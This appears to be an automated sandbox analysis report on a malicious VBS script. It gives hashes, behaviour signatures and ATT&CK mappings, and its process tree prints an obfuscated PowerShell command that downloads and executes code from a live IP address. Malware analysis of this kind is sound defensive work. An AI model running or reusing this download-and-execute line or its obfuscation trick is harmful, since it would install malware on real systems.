fcdaa801a02c05faa8e09a1abb75ab4b8b4a57e1d097cc5feb63b95280230e5c

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
26/04/2024, 19:37

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General

Target

0x.vbs
Size

62KB
MD5

d2e9de8671fd61605ff5f8b8f3249d6b
SHA1

38dc0accb9c561c4f2ed9cc565f73a09eb84e81c
SHA256

fcdaa801a02c05faa8e09a1abb75ab4b8b4a57e1d097cc5feb63b95280230e5c
SHA512

413abbf5eb1a19fec41bbf31cfa524a8c88f049ae624c2b8f8cd40b3dc6ca37b99a45e74cfcb3422bee104e218ebc6b3d38f22b5b9afbd967545aa862b15a106
SSDEEP

1536:y9V9A9J9v9/9U9U9v9U9c9A9m9v9/9U9U9v9U9v:U

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://77.221.151.31/a/a.png

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2892	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 2892	2492	WScript.exe	28
PID 2492 wrote to memory of 2892	2492	WScript.exe	28
PID 2492 wrote to memory of 2892	2492	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0x.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/a.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2892-4-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2892-7-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2892-6-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2892-5-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2892-9-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2892-8-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2892-10-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2892-11-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download